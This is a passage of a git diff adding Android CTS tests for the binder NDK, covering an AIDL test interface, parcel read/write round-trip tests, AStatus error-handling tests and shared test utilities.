+    int GiveMeMyCallingUid();
+
+    // This must be called before calling one of the give-me methods below
+    oneway void CacheCallingInfoFromOneway();
+    int GiveMeMyCallingPidFromOneway();
+    int GiveMeMyCallingUidFromOneway();
+
+    // Sending/receiving primitive types.
+    int RepeatInt(int value);
+    long RepeatLong(long value);
+    float RepeatFloat(float value);
+    double RepeatDouble(double value);
+    boolean RepeatBoolean(boolean value);
+    char RepeatChar(char value);
+    byte RepeatByte(byte value);
+
+    IBinder RepeatBinder(IBinder value);
+    @nullable IBinder RepeatNullableBinder(@nullable IBinder value);
+    IEmpty RepeatInterface(IEmpty value);
+    @nullable IEmpty RepeatNullableInterface(@nullable IEmpty value);
+
+    ParcelFileDescriptor RepeatFd(in ParcelFileDescriptor fd);
+    @nullable ParcelFileDescriptor RepeatNullableFd(in @nullable ParcelFileDescriptor fd);
+
+    String RepeatString(String value);
+    @nullable String RepeatNullableString(@nullable String value);
+
+    RegularPolygon RepeatPolygon(in RegularPolygon value);
+
+    // Testing inout
+    void RenamePolygon(inout RegularPolygon value, String newName);
+
+    // Arrays
+    boolean[] RepeatBooleanArray(in boolean[] input, out boolean[] repeated);
+    byte[] RepeatByteArray(in byte[] input, out byte[] repeated);
+    char[] RepeatCharArray(in char[] input, out char[] repeated);
+    int[] RepeatIntArray(in int[] input, out int[] repeated);
+    long[] RepeatLongArray(in long[] input, out long[] repeated);
+    float[] RepeatFloatArray(in float[] input, out float[] repeated);
+    double[] RepeatDoubleArray(in double[] input, out double[] repeated);
+    String[] RepeatStringArray(in String[] input, out String[] repeated);
+    RegularPolygon[] RepeatRegularPolygonArray(in RegularPolygon[] input, out RegularPolygon[] repeated);
+
+    // Nullable Arrays
+    @nullable boolean[] RepeatNullableBooleanArray(in @nullable boolean[] input);
+    @nullable byte[] RepeatNullableByteArray(in @nullable byte[] input);
+    @nullable char[] RepeatNullableCharArray(in @nullable char[] input);
+    @nullable int[] RepeatNullableIntArray(in @nullable int[] input);
+    @nullable long[] RepeatNullableLongArray(in @nullable long[] input);
+    @nullable float[] RepeatNullableFloatArray(in @nullable float[] input);
+    @nullable double[] RepeatNullableDoubleArray(in @nullable double[] input);
+    @nullable String[] RepeatNullableStringArray(in @nullable String[] input);
+
+    // Nullable Arrays where each individual element can be nullable
+    // (specifically for testing out parameters)
+    @nullable String[] DoubleRepeatNullableStringArray(
+        in @nullable String[] input, out @nullable String[] repeated);
+
+    Foo repeatFoo(in Foo inFoo);
+    void renameFoo(inout Foo foo, String name);
+    void renameBar(inout Foo foo, String name);
+    int getF(in Foo foo);
+
+    // Methods that do not exist in version 1
+    int NewMethodThatReturns10();
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/RegularPolygon.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/RegularPolygon.aidl
new file mode 100644
index 0000000..d3de6de
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/RegularPolygon.aidl
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package test_package;
+
+parcelable RegularPolygon {
+    String name = "square";
+    int numSides = 4;
+    float sideLength = 1.0f;
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_parcel.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/test_parcel.cpp
new file mode 100644
index 0000000..80c7313
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_parcel.cpp
@@ -0,0 +1,369 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define LOG_TAG "Cts-NdkBinderTest"
+
+#include <android/binder_ibinder.h>
+#include <android/binder_parcel.h>
+#include <android/binder_parcel_utils.h>
+#include <android/log.h>
+#include <gtest/gtest.h>
+
+#include "utilities.h"
+
+#include <limits>
+#include <vector>
+
+class NdkBinderTest_AParcel : public NdkBinderTest {};
+
+template <typename T, typename Enable = void>
+struct WriteFrom {
+  using type = const T;
+};
+template <>
+struct WriteFrom<AStatus*> {
+  // not 'const T' = 'AStatus* const' where T = AStatus*.
+  using type = const AStatus*;
+};
+
+template <typename T>
+bool NdkBinderSenseOfEquality(T a, T b) {
+  return a == b;
+}
+template <>
+bool NdkBinderSenseOfEquality<const AStatus*>(const AStatus* a,
+                                              const AStatus* b) {
+  if (a == b) return true;
+
+  return AStatus_isOk(a) == AStatus_isOk(b) &&
+         AStatus_getExceptionCode(a) == AStatus_getExceptionCode(b) &&
+         AStatus_getServiceSpecificError(a) ==
+             AStatus_getServiceSpecificError(b) &&
+         AStatus_getStatus(a) == AStatus_getStatus(b) &&
+         std::string(AStatus_getMessage(a)) == AStatus_getMessage(b);
+}
+template <>
+bool NdkBinderSenseOfEquality<AStatus*>(AStatus* a, AStatus* b) {
+  return NdkBinderSenseOfEquality<const AStatus*>(a, b);
+}
+
+// These reads and writes an array of possible values all of the same type.
+template <typename T,
+          binder_status_t (*write)(AParcel*, typename WriteFrom<T>::type),
+          binder_status_t (*read)(const AParcel*, T*)>
+void ExpectInOut(std::vector<T> in) {
+  AIBinder* binder = SampleData::newBinder(
+      [](transaction_code_t, const AParcel* in, AParcel* out) {
+        T readTarget = {};
+        EXPECT_OK(read(in, &readTarget));
+        EXPECT_OK(write(out, readTarget));
+        return STATUS_OK;
+      },
+      ExpectLifetimeTransactions(in.size()));
+
+  for (const auto& value : in) {
+    EXPECT_OK(SampleData::transact(
+        binder, kCode,
+        [&](AParcel* in) {
+          EXPECT_OK(write(in, value));
+          return STATUS_OK;
+        },
+        [&](const AParcel* out) {
+          T readTarget = {};
+          EXPECT_OK(read(out, &readTarget));
+          EXPECT_TRUE(NdkBinderSenseOfEquality<T>(value, readTarget))
+              << value << " is not " << readTarget;
+          return STATUS_OK;
+        }));
+  }
+
+  AIBinder_decStrong(binder);
+}
+
+template <typename T,
+          binder_status_t (*write)(AParcel*, typename WriteFrom<T>::type),
+          binder_status_t (*read)(const AParcel*, T*)>
+void ExpectInOutMinMax() {
+  ExpectInOut<T, write, read>(
+      {std::numeric_limits<T>::min(), std::numeric_limits<T>::max()});
+}
+
+TEST_F(NdkBinderTest_AParcel, BindersInMustComeOut) {
+  AIBinder* binder = SampleData::newBinder();
+
+  ExpectInOut<AIBinder*, AParcel_writeStrongBinder, AParcel_readStrongBinder>(
+      {binder});
+  // copy which is read when this binder is sent in a transaction to this
+  // process
+  AIBinder_decStrong(binder);
+  // copy which is read when this binder is returned in a transaction within
+  // this same process and is read again
+  AIBinder_decStrong(binder);
+
+  ExpectInOut<AIBinder*, AParcel_writeStrongBinder, AParcel_readStrongBinder>(
+      {nullptr, binder});
+  // copy which is read when this binder is sent in a transaction to this
+  // process
+  AIBinder_decStrong(binder);
+  // copy which is read when this binder is returned in a transaction within
+  // this same process and is read again
+  AIBinder_decStrong(binder);
+
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AParcel, StatusesInMustComeOut) {
+  // This does not clean up status objects.
+  ExpectInOut<AStatus*, AParcel_writeStatusHeader, AParcel_readStatusHeader>({
+      AStatus_newOk(),
+      AStatus_fromExceptionCode(EX_ILLEGAL_ARGUMENT),
+      AStatus_fromExceptionCodeWithMessage(EX_ILLEGAL_ARGUMENT,
+                                           "+++++++++[->++++++++<]>.+."),
+      AStatus_fromServiceSpecificError(1776),
+      AStatus_fromServiceSpecificErrorWithMessage(0xBEA, "utiful!"),
+  });
+}
+
+TEST_F(NdkBinderTest_AParcel, LowLevelErrorsHaveNoStatusHeader) {
+  AIBinder* binder =
+      SampleData::newBinder(nullptr, ExpectLifetimeTransactions(0));
+
+  EXPECT_EQ(
+      STATUS_UNKNOWN_ERROR,
+      SampleData::transact(binder, kCode, [&](AParcel* in) {
+        AStatus* status = nullptr;
+
+        status = AStatus_fromExceptionCode(EX_TRANSACTION_FAILED);
+        EXPECT_EQ(STATUS_FAILED_TRANSACTION,
+                  AParcel_writeStatusHeader(in, status));
+        AStatus_delete(status);
+
+        status = AStatus_fromExceptionCodeWithMessage(EX_TRANSACTION_FAILED,
+                                                      "something or other");
+        EXPECT_EQ(STATUS_FAILED_TRANSACTION,
+                  AParcel_writeStatusHeader(in, status));
+        AStatus_delete(status);
+
+        status = AStatus_fromStatus(STATUS_UNKNOWN_ERROR);
+        EXPECT_EQ(STATUS_UNKNOWN_ERROR, AParcel_writeStatusHeader(in, status));
+        AStatus_delete(status);
+
+        status = AStatus_fromStatus(STATUS_BAD_VALUE);
+        EXPECT_EQ(STATUS_BAD_VALUE, AParcel_writeStatusHeader(in, status));
+        AStatus_delete(status);
+
+        return STATUS_UNKNOWN_ERROR;
+      }));
+
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AParcel, WhatGoesInMustComeOut) {
+  ExpectInOut<int32_t, AParcel_writeInt32, AParcel_readInt32>(
+      {-7, -1, 0, 1, 45});
+  ExpectInOut<uint32_t, AParcel_writeUint32, AParcel_readUint32>(
+      {0, 1, 2, 100});
+  ExpectInOut<int64_t, AParcel_writeInt64, AParcel_readInt64>(
+      {-7, -1, 0, 1, 45});
+  ExpectInOut<uint64_t, AParcel_writeUint64, AParcel_readUint64>(
+      {0, 1, 2, 100});
+  ExpectInOut<float, AParcel_writeFloat, AParcel_readFloat>(
+      {-1.0f, 0.0f, 1.0f, 0.24975586f, 0.3f});
+  ExpectInOut<double, AParcel_writeDouble, AParcel_readDouble>(
+      {-1.0, 0.0, 1.0, 0.24975586, 0.3});
+
+  ExpectInOut<bool, AParcel_writeBool, AParcel_readBool>({true, false});
+  ExpectInOut<char16_t, AParcel_writeChar, AParcel_readChar>(
+      {L'\0', L'S', L'@', L'\n'});
+  ExpectInOut<int8_t, AParcel_writeByte, AParcel_readByte>({-7, -1, 0, 1, 45});
+}
+
+TEST_F(NdkBinderTest_AParcel, ExtremeValues) {
+  ExpectInOutMinMax<int32_t, AParcel_writeInt32, AParcel_readInt32>();
+  ExpectInOutMinMax<uint32_t, AParcel_writeUint32, AParcel_readUint32>();
+  ExpectInOutMinMax<int64_t, AParcel_writeInt64, AParcel_readInt64>();
+  ExpectInOutMinMax<uint64_t, AParcel_writeUint64, AParcel_readUint64>();
+  ExpectInOutMinMax<float, AParcel_writeFloat, AParcel_readFloat>();
+  ExpectInOutMinMax<double, AParcel_writeDouble, AParcel_readDouble>();
+  ExpectInOutMinMax<bool, AParcel_writeBool, AParcel_readBool>();
+  ExpectInOutMinMax<char16_t, AParcel_writeChar, AParcel_readChar>();
+  ExpectInOutMinMax<int8_t, AParcel_writeByte, AParcel_readByte>();
+}
+
+TEST_F(NdkBinderTest_AParcel, NonNullTerminatedString) {
+  // This is a helper to write a vector of strings which are not
+  // null-terminated. It has infinite length, and every element is the same
+  // value (element.substr(0, elementLen)). However, when it is written, no
+  // copies of element are made to produce a null-terminated string.
+  struct PartialStringCycle {
+    // every element of the vector is a prefix of this string
+    const std::string& element;
+    // this is the number of characters of the string to write, < element.size()
+    int32_t elementLen;
+
+    binder_status_t writeToParcel(AParcel* p, size_t length) const {
+      return AParcel_writeStringArray(p, static_cast<const void*>(this), length,
+                                      ElementGetter);
+    }
+
+   private:
+    static const char* ElementGetter(const void* vectorData, size_t /*index*/, int32_t* outLength) {
+      const PartialStringCycle* vector =
+          static_cast<const PartialStringCycle*>(vectorData);
+
+      *outLength = vector->elementLen;
+      return vector->element.c_str();
+    }
+  };
+
+  const std::string kTestcase = "aoeuhtns";
+
+  for (size_t i = 0; i < kTestcase.size(); i++) {
+    const std::string expectedString = kTestcase.substr(0, i);
+    const std::vector<std::string> expectedVector = {expectedString,
+                                                     expectedString};
+
+    const PartialStringCycle writeVector{.element = kTestcase,
+                                         .elementLen = static_cast<int32_t>(i)};
+
+    AIBinder* binder = SampleData::newBinder(
+        [&](transaction_code_t, const AParcel* in, AParcel* /*out*/) {
+          std::string readString;
+          EXPECT_OK(::ndk::AParcel_readString(in, &readString));
+          EXPECT_EQ(expectedString, readString);
+
+          std::vector<std::string> readVector;
+          EXPECT_OK(::ndk::AParcel_readVector(in, &readVector));
+          EXPECT_EQ(expectedVector, readVector);
+
+          return STATUS_OK;
+        },
+        ExpectLifetimeTransactions(1));
+
+    EXPECT_OK(SampleData::transact(
+        binder, kCode,
+        [&](AParcel* in) {
+          EXPECT_OK(AParcel_writeString(in, kTestcase.c_str(), i));
+          EXPECT_OK(writeVector.writeToParcel(in, expectedVector.size()));
+          return STATUS_OK;
+        },
+        ReadNothingFromParcel));
+
+    AIBinder_decStrong(binder);
+  }
+}
+
+TEST_F(NdkBinderTest_AParcel, CantReadFromEmptyParcel) {
+  AIBinder* binder = SampleData::newBinder(TransactionsReturn(STATUS_OK),
+                                           ExpectLifetimeTransactions(1));
+
+  EXPECT_OK(SampleData::transact(
+      binder, kCode, WriteNothingToParcel, [&](const AParcel* out) {
+        bool readTarget = false;
+        EXPECT_EQ(STATUS_NOT_ENOUGH_DATA, AParcel_readBool(out, &readTarget));
+        EXPECT_FALSE(readTarget);
+        return STATUS_OK;
+      }));
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AParcel, ReturnParcelPosition) {
+  AIBinder* binder = SampleData::newBinder(
+      [&](transaction_code_t, const AParcel* /*in*/, AParcel* out) {
+        size_t position = AParcel_getDataPosition(out);
+        EXPECT_EQ(position, AParcel_getDataPosition(out));
+        EXPECT_OK(AParcel_setDataPosition(out, position));
+        EXPECT_EQ(position, AParcel_getDataPosition(out));
+
+        return STATUS_OK;
+      },
+      ExpectLifetimeTransactions(1));
+
+  EXPECT_OK(SampleData::transact(binder, kCode, WriteNothingToParcel,
+                                 ReadNothingFromParcel));
+
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AParcel, TooLargePosition) {
+  AIBinder* binder = SampleData::newBinder(
+      [&](transaction_code_t, const AParcel* /*in*/, AParcel* out) {
+        EXPECT_OK(AParcel_setDataPosition(out, 0));
+        EXPECT_OK(AParcel_setDataPosition(out, INT32_MAX));
+        EXPECT_EQ(STATUS_BAD_VALUE, AParcel_setDataPosition(out, -1));
+        EXPECT_EQ(STATUS_BAD_VALUE, AParcel_setDataPosition(out, -2));
+        return STATUS_OK;
+      },
+      ExpectLifetimeTransactions(1));
+
+  EXPECT_OK(SampleData::transact(binder, kCode, WriteNothingToParcel,
+                                 ReadNothingFromParcel));
+
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AParcel, RewritePositions) {
+  const std::string kTestString1 = "asdf";
+  const std::string kTestString2 = "aoeu";
+
+  // v-- position     v-- postPosition
+  // | delta | "asdf" | "aoeu" |
+  //         ^-- prePosition
+  //
+  // uint32_t delta = postPosition - prePosition
+
+  AIBinder* binder = SampleData::newBinder(
+      [&](transaction_code_t, const AParcel* in, AParcel* /*out*/) {
+        uint32_t delta;
+        EXPECT_OK(AParcel_readUint32(in, &delta));
+        size_t prePosition = AParcel_getDataPosition(in);
+        size_t postPosition = prePosition + delta;
+
+        std::string readString;
+
+        EXPECT_OK(AParcel_setDataPosition(in, postPosition));
+        EXPECT_OK(::ndk::AParcel_readString(in, &readString));
+        EXPECT_EQ(kTestString2, readString);
+
+        EXPECT_OK(AParcel_setDataPosition(in, prePosition));
+        EXPECT_OK(::ndk::AParcel_readString(in, &readString));
+        EXPECT_EQ(kTestString1, readString);
+
+        EXPECT_EQ(postPosition, AParcel_getDataPosition(in));
+
+        return STATUS_OK;
+      },
+      ExpectLifetimeTransactions(1));
+
+  EXPECT_OK(SampleData::transact(
+      binder, kCode,
+      [&](AParcel* in) {
+        size_t position = AParcel_getDataPosition(in);
+        EXPECT_OK(AParcel_writeUint32(in, 0));  // placeholder
+        size_t prePosition = AParcel_getDataPosition(in);
+        EXPECT_OK(::ndk::AParcel_writeString(in, kTestString1));
+        size_t postPosition = AParcel_getDataPosition(in);
+        EXPECT_OK(::ndk::AParcel_writeString(in, kTestString2));
+
+        size_t delta = postPosition - prePosition;
+        EXPECT_OK(AParcel_setDataPosition(in, position));
+        EXPECT_OK(AParcel_writeUint32(in, static_cast<uint32_t>(delta)));
+
+        return STATUS_OK;
+      },
+      ReadNothingFromParcel));
+
+  AIBinder_decStrong(binder);
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_status.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/test_status.cpp
new file mode 100644
index 0000000..7a7e536
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_status.cpp
@@ -0,0 +1,195 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define LOG_TAG "Cts-NdkBinderTest"
+
+#include <android/binder_status.h>
+#include <gtest/gtest.h>
+
+#include <set>
+
+// clang-format off
+const static std::set<binder_status_t> kErrorStatuses = {
+  STATUS_UNKNOWN_ERROR,
+  STATUS_NO_MEMORY,
+  STATUS_INVALID_OPERATION,
+  STATUS_BAD_VALUE,
+  STATUS_BAD_TYPE,
+  STATUS_NAME_NOT_FOUND,
+  STATUS_PERMISSION_DENIED,
+  STATUS_NO_INIT,
+  STATUS_ALREADY_EXISTS,
+  STATUS_DEAD_OBJECT,
+  STATUS_FAILED_TRANSACTION,
+  STATUS_BAD_INDEX,
+  STATUS_NOT_ENOUGH_DATA,
+  STATUS_WOULD_BLOCK,
+  STATUS_TIMED_OUT,
+  STATUS_UNKNOWN_TRANSACTION,
+  STATUS_FDS_NOT_ALLOWED,
+  STATUS_UNEXPECTED_NULL
+};
+// Not in the API or above list
+const static std::set<binder_status_t> kUnknownStatuses = { -77, 1, 404, EX_TRANSACTION_FAILED };
+
+const static std::set<binder_exception_t> kErrorExceptions = {
+  EX_SECURITY,
+  EX_BAD_PARCELABLE,
+  EX_ILLEGAL_ARGUMENT,
+  EX_NULL_POINTER,
+  EX_ILLEGAL_STATE,
+  EX_NETWORK_MAIN_THREAD,
+  EX_UNSUPPORTED_OPERATION,
+  EX_SERVICE_SPECIFIC,
+  EX_PARCELABLE,
+  EX_TRANSACTION_FAILED
+};
+// Not in the API or above list
+const static std::set<binder_exception_t> kUnknownExceptions = { -77, 1, 404, STATUS_UNKNOWN_ERROR };
+// clang-format on
+
+// Checks the various attributes expected for an okay status.
+static void checkIsOkay(const AStatus* status) {
+  EXPECT_TRUE(AStatus_isOk(status));
+  EXPECT_EQ(std::string(), AStatus_getMessage(status));
+  EXPECT_EQ(EX_NONE, AStatus_getExceptionCode(status));
+  EXPECT_EQ(0, AStatus_getServiceSpecificError(status));
+  EXPECT_EQ(STATUS_OK, AStatus_getStatus(status));
+}
+static void checkIsErrorException(const AStatus* status,
+                                  binder_exception_t exception,
+                                  const std::string& message) {
+  EXPECT_FALSE(AStatus_isOk(status));
+  EXPECT_EQ(message, AStatus_getMessage(status));
+  EXPECT_EQ(exception, AStatus_getExceptionCode(status));
+  // not a service-specific error, so other errorcodes return the default
+  EXPECT_EQ(0, AStatus_getServiceSpecificError(status));
+  EXPECT_EQ(exception == EX_TRANSACTION_FAILED ? STATUS_FAILED_TRANSACTION
+                                               : STATUS_OK,
+            AStatus_getStatus(status));
+}
+static void checkIsServiceSpecific(const AStatus* status, int32_t error,
+                                   const std::string& message) {
+  EXPECT_FALSE(AStatus_isOk(status));
+  EXPECT_EQ(message, AStatus_getMessage(status));
+  EXPECT_EQ(EX_SERVICE_SPECIFIC, AStatus_getExceptionCode(status));
+  EXPECT_EQ(error, AStatus_getServiceSpecificError(status));
+  // not a service-specific error, so other errorcodes return the default
+  EXPECT_EQ(STATUS_OK, AStatus_getStatus(status));
+}
+static void checkIsErrorStatus(const AStatus* status, binder_status_t statusT) {
+  EXPECT_FALSE(AStatus_isOk(status));
+  EXPECT_EQ(std::string(), AStatus_getMessage(status));
+  EXPECT_EQ(EX_TRANSACTION_FAILED, AStatus_getExceptionCode(status));
+  EXPECT_EQ(statusT, AStatus_getStatus(status));
+  // not a service-specific error, so other errorcodes return the default
+  EXPECT_EQ(0, AStatus_getServiceSpecificError(status));
+}
+
+TEST(NdkBinderTest_AStatus, OkIsOk) {
+  AStatus* status = AStatus_newOk();
+  checkIsOkay(status);
+  AStatus_delete(status);
+}
+
+TEST(NdkBinderTest_AStatus, NoExceptionIsOkay) {
+  AStatus* status = AStatus_fromExceptionCode(EX_NONE);
+  checkIsOkay(status);
+  AStatus_delete(status);
+}
+
+TEST(NdkBinderTest_AStatus, StatusOkIsOkay) {
+  AStatus* status = AStatus_fromStatus(STATUS_OK);
+  checkIsOkay(status);
+  AStatus_delete(status);
+}
+
+TEST(NdkBinderTest_AStatus, ExceptionIsNotOkay) {
+  for (binder_exception_t exception : kErrorExceptions) {
+    AStatus* status = AStatus_fromExceptionCode(exception);
+    checkIsErrorException(status, exception, "" /*message*/);
+    AStatus_delete(status);
+  }
+}
+
+TEST(NdkBinderTest_AStatus, ExceptionWithMessageIsNotOkay) {
+  const std::string kMessage = "Something arbitrary.";
+  for (binder_exception_t exception : kErrorExceptions) {
+    AStatus* status =
+        AStatus_fromExceptionCodeWithMessage(exception, kMessage.c_str());
+    checkIsErrorException(status, exception, kMessage);
+    AStatus_delete(status);
+  }
+}
+
+TEST(NdkBinderTest_AStatus, ServiceSpecificIsNotOkay) {
+  for (int32_t error : {-404, -1, 0, 1, 23, 918}) {
+    AStatus* status = AStatus_fromServiceSpecificError(error);
+    checkIsServiceSpecific(status, error, "" /*message*/);
+    AStatus_delete(status);
+  }
+}
+
+TEST(NdkBinderTest_AStatus, ServiceSpecificWithMessageIsNotOkay) {
+  const std::string kMessage = "Something also arbitrary.";
+  for (int32_t error : {-404, -1, 0, 1, 23, 918}) {
+    AStatus* status =
+        AStatus_fromServiceSpecificErrorWithMessage(error, kMessage.c_str());
+    checkIsServiceSpecific(status, error, kMessage);
+    AStatus_delete(status);
+  }
+}
+
+TEST(NdkBinderTest_AStatus, StatusIsNotOkay) {
+  for (binder_status_t statusT : kErrorStatuses) {
+    AStatus* status = AStatus_fromStatus(statusT);
+    checkIsErrorStatus(status, statusT);
+    AStatus_delete(status);
+  }
+}
+
+TEST(NdkBinderTest_AStatus, ExceptionsPruned) {
+  for (binder_exception_t exception : kUnknownExceptions) {
+    EXPECT_EQ(kErrorExceptions.find(exception), kErrorExceptions.end())
+        << exception;
+
+    AStatus* status = AStatus_fromExceptionCode(exception);
+    checkIsErrorException(status, EX_TRANSACTION_FAILED, "" /*message*/);
+    AStatus_delete(status);
+  }
+}
+
+TEST(NdkBinderTest_AStatus, ExceptionsPrunedWithMessage) {
+  const std::string kMessage = "Something else arbitrary.";
+  for (binder_exception_t exception : kUnknownExceptions) {
+    EXPECT_EQ(kErrorExceptions.find(exception), kErrorExceptions.end())
+        << exception;
+
+    AStatus* status =
+        AStatus_fromExceptionCodeWithMessage(exception, kMessage.c_str());
+    checkIsErrorException(status, EX_TRANSACTION_FAILED, kMessage);
+    AStatus_delete(status);
+  }
+}
+
+TEST(NdkBinderTest_AStatus, StatusesPruned) {
+  for (binder_status_t statusT : kUnknownStatuses) {
+    EXPECT_EQ(kErrorStatuses.find(statusT), kErrorStatuses.end()) << statusT;
+
+    AStatus* status = AStatus_fromStatus(statusT);
+    checkIsErrorStatus(status, STATUS_UNKNOWN_ERROR);
+    AStatus_delete(status);
+  }
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/utilities.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/utilities.cpp
new file mode 100644
index 0000000..fad9f6f
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/utilities.cpp
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define LOG_TAG "Cts-NdkBinderTest"
+
+#include "utilities.h"
+
+#include <android/log.h>
+
+static size_t sNumInstances = 0;
+size_t ThisShouldBeDestroyed::numInstances() { return sNumInstances; }
+ThisShouldBeDestroyed::ThisShouldBeDestroyed() { sNumInstances++; }
+ThisShouldBeDestroyed::~ThisShouldBeDestroyed() { sNumInstances--; }
+
+void* SampleClassOnCreate(void* args) {
+  return args;  // SampleData
+}
+
+void SampleClassOnDestroy(void* userData) {
+  SampleData* data = static_cast<SampleData*>(userData);
+  if (data->onDestroy != nullptr) {
+    data->onDestroy(data);
+  }
+  delete data;
+}
+
+binder_status_t SampleClassOnTransact(AIBinder* binder, transaction_code_t code,
+                                      const AParcel* in, AParcel* out) {
+  SampleData* data = static_cast<SampleData*>(AIBinder_getUserData(binder));
+  if (data == nullptr) {
+    __android_log_write(ANDROID_LOG_FATAL, LOG_TAG, "null user data");
+  }
+  data->numberTransactions++;
+  if (data->onTransact == nullptr) {
+    ADD_FAILURE() << "onTransact not specified, but transactions called";
+    return STATUS_FAILED_TRANSACTION;
+  }
+  return data->onTransact(code, in, out);
+}
+
+const char* SampleData::kDescriptor = "this-is-arbitrary";
+const AIBinder_Class* SampleData::kClass =
+    AIBinder_Class_define(SampleData::kDescriptor, SampleClassOnCreate,
+                          SampleClassOnDestroy, SampleClassOnTransact);
+
+const char* SampleData::kAnotherDescriptor = "this-is-another-arbitrary-thing";
+const AIBinder_Class* SampleData::kAnotherClass =
+    AIBinder_Class_define(SampleData::kAnotherDescriptor, SampleClassOnCreate,
+                          SampleClassOnDestroy, SampleClassOnTransact);
+
+JNIEnv* GetEnv() {
+  JavaVM* vm = GetJavaVM();
+  if (vm == nullptr) return nullptr;
+
+  JNIEnv* result = nullptr;
+  jint attach = vm->AttachCurrentThread(&result, nullptr);
+
+  EXPECT_EQ(JNI_OK, attach);
+  EXPECT_NE(nullptr, result);
+  return result;
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/utilities.h b/tests/tests/binder_ndk/libbinder_ndk_test/utilities.h
new file mode 100644
index 0000000..4699636
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/utilities.h
@@ -0,0 +1,163 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#pragma once
+
+#include <android/binder_auto_utils.h>
+#include <android/binder_ibinder.h>
+#include <gtest/gtest.h>
+#include <nativetesthelper_jni/utils.h>
+
+#include <functional>
+
+// Helpers for testing
+
+template <typename T>
+static inline ::testing::AssertionResult isOk(T) = delete;
+
+template <>
+inline ::testing::AssertionResult isOk(::ndk::ScopedAStatus t) {
+  if (AStatus_isOk(t.get())) {
+    return ::testing::AssertionSuccess();
+  } else {
+    return ::testing::AssertionFailure()
+           << "exception: " << AStatus_getExceptionCode(t.get())
+           << " service specific: " << AStatus_getServiceSpecificError(t.get())
+           << " status: " << AStatus_getStatus(t.get());
+  }
+}
+
+template <>
+inline ::testing::AssertionResult isOk(binder_status_t t) {
+  if (t == STATUS_OK) {
+    return ::testing::AssertionSuccess();
+  }
+  return ::testing::AssertionFailure() << "Status: " << t;
+}
+
+#define EXPECT_OK(THING) EXPECT_TRUE(isOk(THING))
+#define ASSERT_OK(THING) ASSERT_TRUE(isOk(THING))
+
+// placeholder
+constexpr transaction_code_t kCode = +1 + 918;
+
+// Usually, things at this level would be generated by the aidl compiler. This
+// class is merely to make testing the API easier.
+
+struct SampleData;
+
+typedef std::function<void(SampleData*)> OnDestroyFunc;
+typedef std::function<binder_status_t(transaction_code_t code,
+                                      const AParcel* in, AParcel* out)>
+    OnTransactFunc;
+
+typedef std::function<binder_status_t(AParcel*)> WriteParcel;
+typedef std::function<binder_status_t(const AParcel*)> ReadParcel;
+
+static inline binder_status_t WriteNothingToParcel(AParcel*) {
+  return STATUS_OK;
+}
+static inline binder_status_t ReadNothingFromParcel(const AParcel*) {
+  return STATUS_OK;
+}
+
